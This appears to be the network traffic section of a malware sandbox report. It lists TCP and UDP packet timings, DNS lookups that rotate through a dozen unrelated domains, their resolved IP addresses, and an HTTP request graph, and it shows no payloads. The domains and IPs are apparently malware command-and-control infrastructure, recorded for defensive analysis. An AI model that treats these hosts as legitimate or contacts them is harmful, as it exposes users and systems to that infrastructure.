Dec 3, 2024 14:40:40.778726101 CET	80	50043	154.23.184.95	192.168.2.6
Dec 3, 2024 14:40:40.778975964 CET	50043	80	192.168.2.6	154.23.184.95
Dec 3, 2024 14:40:41.673847914 CET	50044	80	192.168.2.6	154.23.184.95
Dec 3, 2024 14:40:41.793785095 CET	80	50044	154.23.184.95	192.168.2.6
Dec 3, 2024 14:40:41.793870926 CET	50044	80	192.168.2.6	154.23.184.95
Dec 3, 2024 14:40:41.813071012 CET	50044	80	192.168.2.6	154.23.184.95
Dec 3, 2024 14:40:41.933096886 CET	80	50044	154.23.184.95	192.168.2.6
Dec 3, 2024 14:40:43.325961113 CET	50044	80	192.168.2.6	154.23.184.95
Dec 3, 2024 14:40:43.420348883 CET	80	50044	154.23.184.95	192.168.2.6
Dec 3, 2024 14:40:43.420403957 CET	50044	80	192.168.2.6	154.23.184.95
Dec 3, 2024 14:40:43.420455933 CET	80	50044	154.23.184.95	192.168.2.6
Dec 3, 2024 14:40:43.420495987 CET	50044	80	192.168.2.6	154.23.184.95
Dec 3, 2024 14:40:43.445851088 CET	80	50044	154.23.184.95	192.168.2.6
Dec 3, 2024 14:40:43.445899010 CET	50044	80	192.168.2.6	154.23.184.95
Dec 3, 2024 14:40:44.346091986 CET	50045	80	192.168.2.6	154.23.184.95
Dec 3, 2024 14:40:44.466334105 CET	80	50045	154.23.184.95	192.168.2.6
Dec 3, 2024 14:40:44.472353935 CET	50045	80	192.168.2.6	154.23.184.95
Dec 3, 2024 14:40:44.484373093 CET	50045	80	192.168.2.6	154.23.184.95
Dec 3, 2024 14:40:44.604563951 CET	80	50045	154.23.184.95	192.168.2.6
Dec 3, 2024 14:40:44.604603052 CET	80	50045	154.23.184.95	192.168.2.6
Dec 3, 2024 14:40:45.997652054 CET	50045	80	192.168.2.6	154.23.184.95
Dec 3, 2024 14:40:46.073420048 CET	80	50045	154.23.184.95	192.168.2.6
Dec 3, 2024 14:40:46.073476076 CET	50045	80	192.168.2.6	154.23.184.95
Dec 3, 2024 14:40:46.073512077 CET	80	50045	154.23.184.95	192.168.2.6
Dec 3, 2024 14:40:46.073559999 CET	50045	80	192.168.2.6	154.23.184.95
Dec 3, 2024 14:40:46.117906094 CET	80	50045	154.23.184.95	192.168.2.6
Dec 3, 2024 14:40:46.117983103 CET	50045	80	192.168.2.6	154.23.184.95
Dec 3, 2024 14:40:47.018361092 CET	50046	80	192.168.2.6	154.23.184.95
Dec 3, 2024 14:40:47.138374090 CET	80	50046	154.23.184.95	192.168.2.6
Dec 3, 2024 14:40:47.142456055 CET	50046	80	192.168.2.6	154.23.184.95
Dec 3, 2024 14:40:47.154345989 CET	50046	80	192.168.2.6	154.23.184.95
Dec 3, 2024 14:40:47.274384022 CET	80	50046	154.23.184.95	192.168.2.6
Dec 3, 2024 14:40:48.765579939 CET	80	50046	154.23.184.95	192.168.2.6
Dec 3, 2024 14:40:48.765628099 CET	80	50046	154.23.184.95	192.168.2.6
Dec 3, 2024 14:40:48.765759945 CET	50046	80	192.168.2.6	154.23.184.95
Dec 3, 2024 14:40:48.768718958 CET	50046	80	192.168.2.6	154.23.184.95
Dec 3, 2024 14:40:48.888838053 CET	80	50046	154.23.184.95	192.168.2.6
Dec 3, 2024 14:40:54.468717098 CET	50047	80	192.168.2.6	172.104.18.233
Dec 3, 2024 14:40:54.588978052 CET	80	50047	172.104.18.233	192.168.2.6
Dec 3, 2024 14:40:54.589262009 CET	50047	80	192.168.2.6	172.104.18.233
Dec 3, 2024 14:40:54.605845928 CET	50047	80	192.168.2.6	172.104.18.233
Dec 3, 2024 14:40:54.725935936 CET	80	50047	172.104.18.233	192.168.2.6
Dec 3, 2024 14:40:55.729502916 CET	80	50047	172.104.18.233	192.168.2.6
Dec 3, 2024 14:40:55.729569912 CET	80	50047	172.104.18.233	192.168.2.6
Dec 3, 2024 14:40:55.729618073 CET	50047	80	192.168.2.6	172.104.18.233
Dec 3, 2024 14:40:56.108855009 CET	50047	80	192.168.2.6	172.104.18.233
Dec 3, 2024 14:40:57.146363020 CET	50048	80	192.168.2.6	172.104.18.233
Dec 3, 2024 14:40:57.266696930 CET	80	50048	172.104.18.233	192.168.2.6
Dec 3, 2024 14:40:57.268487930 CET	50048	80	192.168.2.6	172.104.18.233
Dec 3, 2024 14:40:57.284466982 CET	50048	80	192.168.2.6	172.104.18.233
Dec 3, 2024 14:40:57.404906034 CET	80	50048	172.104.18.233	192.168.2.6
Dec 3, 2024 14:40:58.365456104 CET	80	50048	172.104.18.233	192.168.2.6
Dec 3, 2024 14:40:58.365497112 CET	80	50048	172.104.18.233	192.168.2.6
Dec 3, 2024 14:40:58.365545034 CET	50048	80	192.168.2.6	172.104.18.233
Dec 3, 2024 14:40:58.796545982 CET	50048	80	192.168.2.6	172.104.18.233
Dec 3, 2024 14:40:59.881216049 CET	50049	80	192.168.2.6	172.104.18.233
Dec 3, 2024 14:41:00.001303911 CET	80	50049	172.104.18.233	192.168.2.6
Dec 3, 2024 14:41:00.001403093 CET	50049	80	192.168.2.6	172.104.18.233
Dec 3, 2024 14:41:00.045715094 CET	50049	80	192.168.2.6	172.104.18.233
Dec 3, 2024 14:41:00.166124105 CET	80	50049	172.104.18.233	192.168.2.6
Dec 3, 2024 14:41:00.166204929 CET	80	50049	172.104.18.233	192.168.2.6
Dec 3, 2024 14:41:01.169348955 CET	80	50049	172.104.18.233	192.168.2.6
Dec 3, 2024 14:41:01.169373035 CET	80	50049	172.104.18.233	192.168.2.6
Dec 3, 2024 14:41:01.169543028 CET	50049	80	192.168.2.6	172.104.18.233
Dec 3, 2024 14:41:01.560434103 CET	50049	80	192.168.2.6	172.104.18.233
Dec 3, 2024 14:41:02.583662033 CET	50050	80	192.168.2.6	172.104.18.233
Dec 3, 2024 14:41:02.704215050 CET	80	50050	172.104.18.233	192.168.2.6
Dec 3, 2024 14:41:02.706536055 CET	50050	80	192.168.2.6	172.104.18.233
Dec 3, 2024 14:41:02.758177042 CET	50050	80	192.168.2.6	172.104.18.233
Dec 3, 2024 14:41:02.878212929 CET	80	50050	172.104.18.233	192.168.2.6
Dec 3, 2024 14:41:03.844734907 CET	80	50050	172.104.18.233	192.168.2.6
Dec 3, 2024 14:41:03.844963074 CET	80	50050	172.104.18.233	192.168.2.6
Dec 3, 2024 14:41:03.845046043 CET	50050	80	192.168.2.6	172.104.18.233
Dec 3, 2024 14:41:03.848642111 CET	50050	80	192.168.2.6	172.104.18.233
Dec 3, 2024 14:41:03.968625069 CET	80	50050	172.104.18.233	192.168.2.6
Dec 3, 2024 14:41:09.839971066 CET	50052	80	192.168.2.6	173.236.199.97
Dec 3, 2024 14:41:09.960427046 CET	80	50052	173.236.199.97	192.168.2.6
Dec 3, 2024 14:41:09.960540056 CET	50052	80	192.168.2.6	173.236.199.97
Dec 3, 2024 14:41:09.982424974 CET	50052	80	192.168.2.6	173.236.199.97
Dec 3, 2024 14:41:10.103045940 CET	80	50052	173.236.199.97	192.168.2.6
Dec 3, 2024 14:41:11.114233971 CET	80	50052	173.236.199.97	192.168.2.6
Dec 3, 2024 14:41:11.114726067 CET	80	50052	173.236.199.97	192.168.2.6
Dec 3, 2024 14:41:11.120114088 CET	50052	80	192.168.2.6	173.236.199.97
Dec 3, 2024 14:41:11.497653008 CET	50052	80	192.168.2.6	173.236.199.97
Dec 3, 2024 14:41:12.516787052 CET	50053	80	192.168.2.6	173.236.199.97
Dec 3, 2024 14:41:12.636715889 CET	80	50053	173.236.199.97	192.168.2.6
Dec 3, 2024 14:41:12.636853933 CET	50053	80	192.168.2.6	173.236.199.97
Dec 3, 2024 14:41:12.654444933 CET	50053	80	192.168.2.6	173.236.199.97
Dec 3, 2024 14:41:12.775932074 CET	80	50053	173.236.199.97	192.168.2.6
Dec 3, 2024 14:41:13.841635942 CET	80	50053	173.236.199.97	192.168.2.6
Dec 3, 2024 14:41:13.842222929 CET	80	50053	173.236.199.97	192.168.2.6
Dec 3, 2024 14:41:13.842276096 CET	50053	80	192.168.2.6	173.236.199.97
Dec 3, 2024 14:41:14.170097113 CET	50053	80	192.168.2.6	173.236.199.97
Dec 3, 2024 14:41:15.188802004 CET	50054	80	192.168.2.6	173.236.199.97
Dec 3, 2024 14:41:15.308926105 CET	80	50054	173.236.199.97	192.168.2.6
Dec 3, 2024 14:41:15.309154034 CET	50054	80	192.168.2.6	173.236.199.97
Dec 3, 2024 14:41:15.328624010 CET	50054	80	192.168.2.6	173.236.199.97
Dec 3, 2024 14:41:15.448699951 CET	80	50054	173.236.199.97	192.168.2.6
Dec 3, 2024 14:41:15.448734999 CET	80	50054	173.236.199.97	192.168.2.6
Dec 3, 2024 14:41:16.415549994 CET	80	50054	173.236.199.97	192.168.2.6
Dec 3, 2024 14:41:16.416156054 CET	80	50054	173.236.199.97	192.168.2.6
Dec 3, 2024 14:41:16.416218042 CET	50054	80	192.168.2.6	173.236.199.97
Dec 3, 2024 14:41:16.846425056 CET	50054	80	192.168.2.6	173.236.199.97
Dec 3, 2024 14:41:17.861747026 CET	50055	80	192.168.2.6	173.236.199.97
Dec 3, 2024 14:41:17.981857061 CET	80	50055	173.236.199.97	192.168.2.6
Dec 3, 2024 14:41:17.981977940 CET	50055	80	192.168.2.6	173.236.199.97
Dec 3, 2024 14:41:17.994131088 CET	50055	80	192.168.2.6	173.236.199.97
Dec 3, 2024 14:41:18.114092112 CET	80	50055	173.236.199.97	192.168.2.6
Dec 3, 2024 14:41:19.131710052 CET	80	50055	173.236.199.97	192.168.2.6
Dec 3, 2024 14:41:19.132531881 CET	80	50055	173.236.199.97	192.168.2.6
Dec 3, 2024 14:41:19.134439945 CET	50055	80	192.168.2.6	173.236.199.97
Dec 3, 2024 14:41:19.137135983 CET	50055	80	192.168.2.6	173.236.199.97
Dec 3, 2024 14:41:19.257149935 CET	80	50055	173.236.199.97	192.168.2.6
Dec 3, 2024 14:41:25.247832060 CET	50056	80	192.168.2.6	85.159.66.93
Dec 3, 2024 14:41:25.368007898 CET	80	50056	85.159.66.93	192.168.2.6
Dec 3, 2024 14:41:25.370630026 CET	50056	80	192.168.2.6	85.159.66.93
Dec 3, 2024 14:41:25.386986017 CET	50056	80	192.168.2.6	85.159.66.93
Dec 3, 2024 14:41:25.507224083 CET	80	50056	85.159.66.93	192.168.2.6
Dec 3, 2024 14:41:26.888257027 CET	50056	80	192.168.2.6	85.159.66.93
Dec 3, 2024 14:41:27.008780956 CET	80	50056	85.159.66.93	192.168.2.6
Dec 3, 2024 14:41:27.010514975 CET	50056	80	192.168.2.6	85.159.66.93
Dec 3, 2024 14:41:27.908107042 CET	50057	80	192.168.2.6	85.159.66.93
Dec 3, 2024 14:41:28.028177977 CET	80	50057	85.159.66.93	192.168.2.6
Dec 3, 2024 14:41:28.028265953 CET	50057	80	192.168.2.6	85.159.66.93
Dec 3, 2024 14:41:28.051297903 CET	50057	80	192.168.2.6	85.159.66.93
Dec 3, 2024 14:41:28.171328068 CET	80	50057	85.159.66.93	192.168.2.6
Dec 3, 2024 14:41:29.560132027 CET	50057	80	192.168.2.6	85.159.66.93
Dec 3, 2024 14:41:29.680865049 CET	80	50057	85.159.66.93	192.168.2.6
Dec 3, 2024 14:41:29.680922985 CET	50057	80	192.168.2.6	85.159.66.93
Dec 3, 2024 14:41:30.579654932 CET	50058	80	192.168.2.6	85.159.66.93
Dec 3, 2024 14:41:30.699685097 CET	80	50058	85.159.66.93	192.168.2.6
Dec 3, 2024 14:41:30.702567101 CET	50058	80	192.168.2.6	85.159.66.93
Dec 3, 2024 14:41:30.717328072 CET	50058	80	192.168.2.6	85.159.66.93
Dec 3, 2024 14:41:30.837332964 CET	80	50058	85.159.66.93	192.168.2.6
Dec 3, 2024 14:41:30.837415934 CET	80	50058	85.159.66.93	192.168.2.6
Dec 3, 2024 14:41:32.232129097 CET	50058	80	192.168.2.6	85.159.66.93
Dec 3, 2024 14:41:32.352567911 CET	80	50058	85.159.66.93	192.168.2.6
Dec 3, 2024 14:41:32.352689028 CET	50058	80	192.168.2.6	85.159.66.93
Dec 3, 2024 14:41:33.254498005 CET	50059	80	192.168.2.6	85.159.66.93
Dec 3, 2024 14:41:33.374494076 CET	80	50059	85.159.66.93	192.168.2.6
Dec 3, 2024 14:41:33.374718904 CET	50059	80	192.168.2.6	85.159.66.93
Dec 3, 2024 14:41:33.384145021 CET	50059	80	192.168.2.6	85.159.66.93
Dec 3, 2024 14:41:33.504060030 CET	80	50059	85.159.66.93	192.168.2.6
Dec 3, 2024 14:41:34.704046011 CET	80	50059	85.159.66.93	192.168.2.6
Dec 3, 2024 14:41:34.704283953 CET	80	50059	85.159.66.93	192.168.2.6
Dec 3, 2024 14:41:34.704363108 CET	50059	80	192.168.2.6	85.159.66.93
Dec 3, 2024 14:41:34.707351923 CET	50059	80	192.168.2.6	85.159.66.93
Dec 3, 2024 14:41:34.827198982 CET	80	50059	85.159.66.93	192.168.2.6
Dec 3, 2024 14:41:49.369211912 CET	50060	80	192.168.2.6	154.70.82.246
Dec 3, 2024 14:41:49.489269972 CET	80	50060	154.70.82.246	192.168.2.6
Dec 3, 2024 14:41:49.492721081 CET	50060	80	192.168.2.6	154.70.82.246
Dec 3, 2024 14:41:49.508117914 CET	50060	80	192.168.2.6	154.70.82.246
Dec 3, 2024 14:41:49.628123045 CET	80	50060	154.70.82.246	192.168.2.6
Dec 3, 2024 14:41:51.013348103 CET	50060	80	192.168.2.6	154.70.82.246
Dec 3, 2024 14:41:51.134171009 CET	80	50060	154.70.82.246	192.168.2.6
Dec 3, 2024 14:41:51.134669065 CET	50060	80	192.168.2.6	154.70.82.246
Dec 3, 2024 14:41:52.894526005 CET	50061	80	192.168.2.6	154.70.82.246
Dec 3, 2024 14:41:53.014544010 CET	80	50061	154.70.82.246	192.168.2.6
Dec 3, 2024 14:41:53.014739037 CET	50061	80	192.168.2.6	154.70.82.246
Dec 3, 2024 14:41:53.030522108 CET	50061	80	192.168.2.6	154.70.82.246
Dec 3, 2024 14:41:53.150527954 CET	80	50061	154.70.82.246	192.168.2.6
Dec 3, 2024 14:41:55.487888098 CET	80	50061	154.70.82.246	192.168.2.6
Dec 3, 2024 14:41:55.487917900 CET	80	50061	154.70.82.246	192.168.2.6
Dec 3, 2024 14:41:55.487931013 CET	80	50061	154.70.82.246	192.168.2.6
Dec 3, 2024 14:41:55.487977982 CET	50061	80	192.168.2.6	154.70.82.246
Dec 3, 2024 14:41:55.488054991 CET	80	50061	154.70.82.246	192.168.2.6
Dec 3, 2024 14:41:55.488106966 CET	50061	80	192.168.2.6	154.70.82.246
Dec 3, 2024 14:41:55.488126040 CET	80	50061	154.70.82.246	192.168.2.6
Dec 3, 2024 14:41:55.488140106 CET	80	50061	154.70.82.246	192.168.2.6
Dec 3, 2024 14:41:55.488152981 CET	80	50061	154.70.82.246	192.168.2.6
Dec 3, 2024 14:41:55.488167048 CET	80	50061	154.70.82.246	192.168.2.6
Dec 3, 2024 14:41:55.488179922 CET	50061	80	192.168.2.6	154.70.82.246
Dec 3, 2024 14:41:55.488210917 CET	50061	80	192.168.2.6	154.70.82.246
Dec 3, 2024 14:41:55.488666058 CET	80	50061	154.70.82.246	192.168.2.6
Dec 3, 2024 14:41:55.488682032 CET	80	50061	154.70.82.246	192.168.2.6
Dec 3, 2024 14:41:55.488720894 CET	50061	80	192.168.2.6	154.70.82.246
Dec 3, 2024 14:41:55.608159065 CET	80	50061	154.70.82.246	192.168.2.6
Dec 3, 2024 14:41:55.608211994 CET	80	50061	154.70.82.246	192.168.2.6
Dec 3, 2024 14:41:55.610586882 CET	50061	80	192.168.2.6	154.70.82.246
Dec 3, 2024 14:41:55.612346888 CET	80	50061	154.70.82.246	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2024 14:38:30.227534056 CET	54294	53	192.168.2.6	1.1.1.1
Dec 3, 2024 14:38:31.240906000 CET	54294	53	192.168.2.6	1.1.1.1
Dec 3, 2024 14:38:31.316488981 CET	53	54294	1.1.1.1	192.168.2.6
Dec 3, 2024 14:38:31.379713058 CET	53	54294	1.1.1.1	192.168.2.6
Dec 3, 2024 14:38:47.666419029 CET	53554	53	192.168.2.6	1.1.1.1
Dec 3, 2024 14:38:48.307755947 CET	53	53554	1.1.1.1	192.168.2.6
Dec 3, 2024 14:39:03.439388990 CET	61825	53	192.168.2.6	1.1.1.1
Dec 3, 2024 14:39:03.914633036 CET	53	61825	1.1.1.1	192.168.2.6
Dec 3, 2024 14:39:18.548242092 CET	51807	53	192.168.2.6	1.1.1.1
Dec 3, 2024 14:39:19.218504906 CET	53	51807	1.1.1.1	192.168.2.6
Dec 3, 2024 14:39:33.767343044 CET	62561	53	192.168.2.6	1.1.1.1
Dec 3, 2024 14:39:34.315836906 CET	53	62561	1.1.1.1	192.168.2.6
Dec 3, 2024 14:39:48.924246073 CET	52567	53	192.168.2.6	1.1.1.1
Dec 3, 2024 14:39:49.775722980 CET	53	52567	1.1.1.1	192.168.2.6
Dec 3, 2024 14:40:04.206912994 CET	58400	53	192.168.2.6	1.1.1.1
Dec 3, 2024 14:40:05.200745106 CET	58400	53	192.168.2.6	1.1.1.1
Dec 3, 2024 14:40:06.216927052 CET	58400	53	192.168.2.6	1.1.1.1
Dec 3, 2024 14:40:07.902249098 CET	53	58400	1.1.1.1	192.168.2.6
Dec 3, 2024 14:40:07.902288914 CET	53	58400	1.1.1.1	192.168.2.6
Dec 3, 2024 14:40:07.902343988 CET	53	58400	1.1.1.1	192.168.2.6
Dec 3, 2024 14:40:22.534285069 CET	58006	53	192.168.2.6	1.1.1.1
Dec 3, 2024 14:40:23.182395935 CET	53	58006	1.1.1.1	192.168.2.6
Dec 3, 2024 14:40:38.504736900 CET	57794	53	192.168.2.6	1.1.1.1
Dec 3, 2024 14:40:39.004745960 CET	53	57794	1.1.1.1	192.168.2.6
Dec 3, 2024 14:40:53.784972906 CET	58775	53	192.168.2.6	1.1.1.1
Dec 3, 2024 14:40:54.463169098 CET	53	58775	1.1.1.1	192.168.2.6
Dec 3, 2024 14:41:08.861660957 CET	60613	53	192.168.2.6	1.1.1.1
Dec 3, 2024 14:41:09.836792946 CET	53	60613	1.1.1.1	192.168.2.6
Dec 3, 2024 14:41:24.143215895 CET	57039	53	192.168.2.6	1.1.1.1
Dec 3, 2024 14:41:25.140505075 CET	57039	53	192.168.2.6	1.1.1.1
Dec 3, 2024 14:41:25.244741917 CET	53	57039	1.1.1.1	192.168.2.6
Dec 3, 2024 14:41:25.283742905 CET	53	57039	1.1.1.1	192.168.2.6
Dec 3, 2024 14:41:39.721992016 CET	59805	53	192.168.2.6	1.1.1.1
Dec 3, 2024 14:41:40.716552973 CET	59805	53	192.168.2.6	1.1.1.1
Dec 3, 2024 14:41:40.838885069 CET	53	59805	1.1.1.1	192.168.2.6
Dec 3, 2024 14:41:40.854104042 CET	53	59805	1.1.1.1	192.168.2.6
Dec 3, 2024 14:41:43.890162945 CET	64381	53	192.168.2.6	1.1.1.1
Dec 3, 2024 14:41:44.028763056 CET	53	64381	1.1.1.1	192.168.2.6
Dec 3, 2024 14:41:49.049717903 CET	54988	53	192.168.2.6	1.1.1.1
Dec 3, 2024 14:41:49.364649057 CET	53	54988	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 3, 2024 14:38:30.227534056 CET	192.168.2.6	1.1.1.1	0x9c5a	Standard query (0)	www.aiactor.xyz	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:38:31.240906000 CET	192.168.2.6	1.1.1.1	0x9c5a	Standard query (0)	www.aiactor.xyz	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:38:47.666419029 CET	192.168.2.6	1.1.1.1	0xb22	Standard query (0)	www.jijievo.site	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:39:03.439388990 CET	192.168.2.6	1.1.1.1	0x762c	Standard query (0)	www.inspireto.life	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:39:18.548242092 CET	192.168.2.6	1.1.1.1	0xb088	Standard query (0)	www.717hy.net	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:39:33.767343044 CET	192.168.2.6	1.1.1.1	0x967d	Standard query (0)	www.bootleggersrt.online	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:39:48.924246073 CET	192.168.2.6	1.1.1.1	0x66a4	Standard query (0)	www.lgdiamonds.info	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:40:04.206912994 CET	192.168.2.6	1.1.1.1	0xd41b	Standard query (0)	www.funnystory.online	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:40:05.200745106 CET	192.168.2.6	1.1.1.1	0xd41b	Standard query (0)	www.funnystory.online	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:40:06.216927052 CET	192.168.2.6	1.1.1.1	0xd41b	Standard query (0)	www.funnystory.online	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:40:22.534285069 CET	192.168.2.6	1.1.1.1	0x7c43	Standard query (0)	www.614genetics.online	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:40:38.504736900 CET	192.168.2.6	1.1.1.1	0xd7eb	Standard query (0)	www.hm35s.top	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:40:53.784972906 CET	192.168.2.6	1.1.1.1	0x16cc	Standard query (0)	www.gravendeel.studio	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:41:08.861660957 CET	192.168.2.6	1.1.1.1	0xdfe4	Standard query (0)	www.kvsj.net	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:41:24.143215895 CET	192.168.2.6	1.1.1.1	0x9135	Standard query (0)	www.beythome.online	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:41:25.140505075 CET	192.168.2.6	1.1.1.1	0x9135	Standard query (0)	www.beythome.online	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:41:39.721992016 CET	192.168.2.6	1.1.1.1	0x2803	Standard query (0)	www.theressome123ppl.info	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:41:40.716552973 CET	192.168.2.6	1.1.1.1	0x2803	Standard query (0)	www.theressome123ppl.info	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:41:43.890162945 CET	192.168.2.6	1.1.1.1	0xcd5	Standard query (0)	www.theressome123ppl.info	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:41:49.049717903 CET	192.168.2.6	1.1.1.1	0x528e	Standard query (0)	www.conseilnsaftogo.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 3, 2024 14:38:31.316488981 CET	1.1.1.1	192.168.2.6	0x9c5a	No error (0)	www.aiactor.xyz		13.248.169.48	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:38:31.316488981 CET	1.1.1.1	192.168.2.6	0x9c5a	No error (0)	www.aiactor.xyz		76.223.54.146	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:38:31.379713058 CET	1.1.1.1	192.168.2.6	0x9c5a	No error (0)	www.aiactor.xyz		76.223.54.146	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:38:31.379713058 CET	1.1.1.1	192.168.2.6	0x9c5a	No error (0)	www.aiactor.xyz		13.248.169.48	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:38:48.307755947 CET	1.1.1.1	192.168.2.6	0xb22	No error (0)	www.jijievo.site	all.wjscdn.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 14:38:48.307755947 CET	1.1.1.1	192.168.2.6	0xb22	No error (0)	all.wjscdn.com		154.90.35.240	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:38:48.307755947 CET	1.1.1.1	192.168.2.6	0xb22	No error (0)	all.wjscdn.com		154.90.58.209	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:38:48.307755947 CET	1.1.1.1	192.168.2.6	0xb22	No error (0)	all.wjscdn.com		154.205.143.51	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:38:48.307755947 CET	1.1.1.1	192.168.2.6	0xb22	No error (0)	all.wjscdn.com		154.205.156.26	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:38:48.307755947 CET	1.1.1.1	192.168.2.6	0xb22	No error (0)	all.wjscdn.com		154.205.159.116	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:38:48.307755947 CET	1.1.1.1	192.168.2.6	0xb22	No error (0)	all.wjscdn.com		38.54.112.227	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:39:03.914633036 CET	1.1.1.1	192.168.2.6	0x762c	No error (0)	www.inspireto.life		162.0.213.94	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:39:19.218504906 CET	1.1.1.1	192.168.2.6	0xb088	No error (0)	www.717hy.net		68.66.226.92	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:39:34.315836906 CET	1.1.1.1	192.168.2.6	0x967d	No error (0)	www.bootleggersrt.online		31.31.196.17	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:39:49.775722980 CET	1.1.1.1	192.168.2.6	0x66a4	No error (0)	www.lgdiamonds.info		130.185.109.77	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:40:07.902249098 CET	1.1.1.1	192.168.2.6	0xd41b	No error (0)	www.funnystory.online	funnystory.online		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 14:40:07.902249098 CET	1.1.1.1	192.168.2.6	0xd41b	No error (0)	funnystory.online		172.104.82.74	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:40:07.902288914 CET	1.1.1.1	192.168.2.6	0xd41b	No error (0)	www.funnystory.online	funnystory.online		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 14:40:07.902288914 CET	1.1.1.1	192.168.2.6	0xd41b	No error (0)	funnystory.online		172.104.82.74	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:40:07.902343988 CET	1.1.1.1	192.168.2.6	0xd41b	No error (0)	www.funnystory.online	funnystory.online		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 14:40:07.902343988 CET	1.1.1.1	192.168.2.6	0xd41b	No error (0)	funnystory.online		172.104.82.74	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:40:23.182395935 CET	1.1.1.1	192.168.2.6	0x7c43	No error (0)	www.614genetics.online		208.91.197.27	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:40:39.004745960 CET	1.1.1.1	192.168.2.6	0xd7eb	No error (0)	www.hm35s.top	hm35s.top		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 14:40:39.004745960 CET	1.1.1.1	192.168.2.6	0xd7eb	No error (0)	hm35s.top		154.23.184.95	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:40:54.463169098 CET	1.1.1.1	192.168.2.6	0x16cc	No error (0)	www.gravendeel.studio	gravendeel.studio		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 14:40:54.463169098 CET	1.1.1.1	192.168.2.6	0x16cc	No error (0)	gravendeel.studio		172.104.18.233	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:41:09.836792946 CET	1.1.1.1	192.168.2.6	0xdfe4	No error (0)	www.kvsj.net		173.236.199.97	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:41:25.244741917 CET	1.1.1.1	192.168.2.6	0x9135	No error (0)	www.beythome.online	redirect.natrocdn.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 14:41:25.244741917 CET	1.1.1.1	192.168.2.6	0x9135	No error (0)	redirect.natrocdn.com	natroredirect.natrocdn.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 14:41:25.244741917 CET	1.1.1.1	192.168.2.6	0x9135	No error (0)	natroredirect.natrocdn.com		85.159.66.93	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:41:25.283742905 CET	1.1.1.1	192.168.2.6	0x9135	No error (0)	www.beythome.online	redirect.natrocdn.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 14:41:25.283742905 CET	1.1.1.1	192.168.2.6	0x9135	No error (0)	redirect.natrocdn.com	natroredirect.natrocdn.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 14:41:25.283742905 CET	1.1.1.1	192.168.2.6	0x9135	No error (0)	natroredirect.natrocdn.com		85.159.66.93	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:41:40.838885069 CET	1.1.1.1	192.168.2.6	0x2803	Name error (3)	www.theressome123ppl.info	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:41:40.854104042 CET	1.1.1.1	192.168.2.6	0x2803	Name error (3)	www.theressome123ppl.info	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:41:44.028763056 CET	1.1.1.1	192.168.2.6	0xcd5	Name error (3)	www.theressome123ppl.info	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 14:41:49.364649057 CET	1.1.1.1	192.168.2.6	0x528e	No error (0)	www.conseilnsaftogo.org	conseilnsaftogo.org		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 14:41:49.364649057 CET	1.1.1.1	192.168.2.6	0x528e	No error (0)	conseilnsaftogo.org		154.70.82.246	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.aiactor.xyz

www.jijievo.site

www.inspireto.life

www.717hy.net

www.bootleggersrt.online

www.lgdiamonds.info

www.funnystory.online

www.614genetics.online

www.hm35s.top

www.gravendeel.studio

www.kvsj.net

www.beythome.online

www.conseilnsaftogo.org

HTTP Packets

